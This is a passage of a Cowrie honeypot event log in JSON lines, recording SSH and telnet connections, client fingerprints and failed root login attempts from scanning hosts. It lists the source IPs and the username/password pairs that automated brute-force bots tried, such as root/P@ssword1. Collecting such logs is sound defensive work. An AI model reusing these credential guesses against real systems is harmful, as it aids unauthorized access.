{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:56.626042Z","src_ip":"81.9.145.130","session":"e2eb52f669a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37186,"dst_ip":"10.17.0.5","dst_port":23,"session":"73abdfacb282","protocol":"telnet","message":"New connection: 152.42.224.71:37186 (10.17.0.5:23) [session: 73abdfacb282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:02.387471Z"}
{"eventid":"cowrie.session.closed","duration":118.71241593360901,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:05.939684Z","src_ip":"152.42.224.71","session":"498b59bb1559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59024,"dst_ip":"159.203.135.109","dst_port":22,"session":"75522fcafeb8","protocol":"ssh","message":"New connection: 31.40.204.166:59024 (159.203.135.109:22) [session: 75522fcafeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:06.082786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:06.102962Z","src_ip":"31.40.204.166","session":"75522fcafeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:06.282427Z","src_ip":"31.40.204.166","session":"75522fcafeb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:06.814379Z","src_ip":"31.40.204.166","session":"75522fcafeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:07.988052Z","src_ip":"31.40.204.166","session":"75522fcafeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":53038,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a96cde5516","protocol":"ssh","message":"New connection: 170.106.159.59:53038 (10.17.0.5:22) [session: 76a96cde5516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:11.157145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:11.162000Z","src_ip":"170.106.159.59","session":"76a96cde5516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:11.230499Z","src_ip":"170.106.159.59","session":"76a96cde5516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oscar2022","message":"login attempt [root/oscar2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:11.536539Z","src_ip":"170.106.159.59","session":"76a96cde5516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34620,"dst_ip":"159.203.135.109","dst_port":22,"session":"41028fcabff4","protocol":"ssh","message":"New connection: 103.195.236.96:34620 (159.203.135.109:22) [session: 41028fcabff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.390679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.395759Z","src_ip":"103.195.236.96","session":"41028fcabff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43908,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd66e443b32","protocol":"ssh","message":"New connection: 38.93.206.2:43908 (159.203.135.109:22) [session: 3cd66e443b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.474250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.479069Z","src_ip":"38.93.206.2","session":"3cd66e443b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":53318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbdfb207d115","protocol":"ssh","message":"New connection: 182.93.50.90:53318 (10.17.0.5:22) [session: bbdfb207d115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.533403Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.537736Z","src_ip":"38.93.206.2","session":"3cd66e443b32","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.546217Z","src_ip":"182.93.50.90","session":"bbdfb207d115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.621429Z","src_ip":"170.106.159.59","session":"76a96cde5516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.636603Z","src_ip":"103.195.236.96","session":"41028fcabff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghblehjr","message":"login attempt [root/ghblehjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.695442Z","src_ip":"38.93.206.2","session":"3cd66e443b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:12.772217Z","src_ip":"182.93.50.90","session":"bbdfb207d115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccbeeaaccafeb","message":"login attempt [root/ccbeeaaccafeb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:13.362630Z","src_ip":"103.195.236.96","session":"41028fcabff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:13.681196Z","src_ip":"182.93.50.90","session":"bbdfb207d115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:13.766583Z","src_ip":"38.93.206.2","session":"3cd66e443b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:14.659382Z","src_ip":"103.195.236.96","session":"41028fcabff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:14.904429Z","src_ip":"182.93.50.90","session":"bbdfb207d115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.89503526687622,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:17.194794Z","src_ip":"152.42.224.71","session":"d12e3cc630fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.86302947998047,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:17.297200Z","src_ip":"152.42.224.71","session":"a99d8c8c44c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9eda7ee512b","protocol":"ssh","message":"New connection: 31.40.204.166:57780 (159.203.135.109:22) [session: b9eda7ee512b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:18.484535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:18.491770Z","src_ip":"31.40.204.166","session":"b9eda7ee512b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:18.719414Z","src_ip":"31.40.204.166","session":"b9eda7ee512b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:19.228245Z","src_ip":"31.40.204.166","session":"b9eda7ee512b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.002023935318,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:19.247116Z","src_ip":"152.42.224.71","session":"9677ad447a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:20.405081Z","src_ip":"31.40.204.166","session":"b9eda7ee512b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":51946,"dst_ip":"10.17.0.5","dst_port":22,"session":"62683e022ff2","protocol":"ssh","message":"New connection: 190.85.41.170:51946 (10.17.0.5:22) [session: 62683e022ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:21.182413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:21.186848Z","src_ip":"190.85.41.170","session":"62683e022ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:21.263672Z","src_ip":"190.85.41.170","session":"62683e022ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#ewq123","message":"login attempt [root/!@#ewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:21.594860Z","src_ip":"190.85.41.170","session":"62683e022ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3300076d3bbe","protocol":"telnet","message":"New connection: 152.42.224.71:42470 (10.17.0.5:23) [session: 3300076d3bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:21.794989Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:22.672486Z","src_ip":"190.85.41.170","session":"62683e022ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.137845754623413,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:23.525180Z","src_ip":"152.42.224.71","session":"73abdfacb282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"b707d545efbd","protocol":"telnet","message":"New connection: 152.42.224.71:54236 (10.17.0.5:23) [session: b707d545efbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:26.884245Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"feaeb2956ad3","protocol":"ssh","message":"New connection: 43.156.96.97:59108 (10.17.0.5:22) [session: feaeb2956ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:26.914419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:26.919096Z","src_ip":"43.156.96.97","session":"feaeb2956ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 